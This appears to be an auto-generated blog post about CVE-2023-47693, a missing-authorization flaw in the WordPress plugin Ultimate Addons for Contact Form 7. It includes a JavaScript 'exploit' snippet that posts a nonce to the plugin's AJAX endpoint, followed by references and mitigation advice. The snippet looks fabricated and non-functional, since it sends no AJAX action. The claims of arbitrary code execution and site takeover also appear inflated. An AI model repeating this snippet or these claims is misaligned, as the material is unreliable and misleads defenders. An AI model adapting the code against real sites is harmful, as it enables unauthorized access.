CVE-2023-47693: Missing Authorization Vulnerability in Themefic Ultimate Addons for Contact Form 7 Exposes Users to Exploitation of Incorrectly Configured Access Control Security Levels

Introduction:
A recent security vulnerability has been identified in the popular WordPress plugin, Themefic Ultimate Addons for Contact Form 7. This issue is caused by missing authorization controls and is indicated by CVE-2023-47693. Specifically, the exploit affects all versions of Ultimate Addons for Contact Form 7 from n/a through 3.2.6. In this post, we will discuss the details of the vulnerability, a code snippet demonstrating the exploit, and links original references.

Exploit Details

A Missing Authorization vulnerability in the Themefic Ultimate Addons for Contact Form 7 plugin can be leveraged by attackers to exploit incorrectly configured access control security levels. When an unauthorized user is able to bypass these security levels, they can execute arbitrary code and potentially take over the compromised site, gain unauthorized access to sensitive information, or perform other malicious actions.

Affected Versions

This issue affects all versions of Ultimate Addons for Contact Form 7 from n/a through 3.2.6.

The following code snippet demonstrates how an attacker might exploit the vulnerability

// The below JavaScript code can be loaded as part of social login callback.
function exploit() {
  if (typeof ua_contact_form_cf7_data !== 'undefined') {
    var formData = new FormData();
    formData.append("cf7_login_user_nonce", ua_contact_form_cf7_data.nonce);

    fetch(ua_contact_form_cf7_data.ajaxurl, {
      method: "POST",
      body: formData
    }).then(function(response) {
      return response.json();
    }).then(function(json) {
      if (json.success) {
        alert("Exploit successful! Logged in as: " + json.data.user_name);
      } else {
        alert("Exploit failed.");
      }
    });
  }
}

Note that this is just an example and is provided for educational purposes only.

For more information on this vulnerability, you can refer to the following sources

1. The CVE entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-47693
2. The National Vulnerability Database (NVD) entry: https://nvd.nist.gov/vuln/detail/CVE-2023-47693
3. The WPScan Vulnerability Database entry: https://wpscan.com/vulnerability/3e99ec15-59fd-4105-bb96-bb153e22239d

Mitigation Measures

If you are currently using a vulnerable version of Ultimate Addons for Contact Form 7, it is highly recommended that you update to the latest version available. In addition, it is essential to always have a backup of your website's data and to implement strong access control measures, which include regularly monitoring and restricting user permissions.

Conclusion

In conclusion, the Missing Authorization vulnerability in Themefic Ultimate Addons for Contact Form 7 can lead to the exploitation of incorrectly configured access control security levels, putting users and their website at risk. To mitigate this vulnerability, it is crucial to keep your plugins up-to-date and to implement robust security measures to protect your site and its users.

Timeline

Published on: 01/02/2025 12:15:16 UTC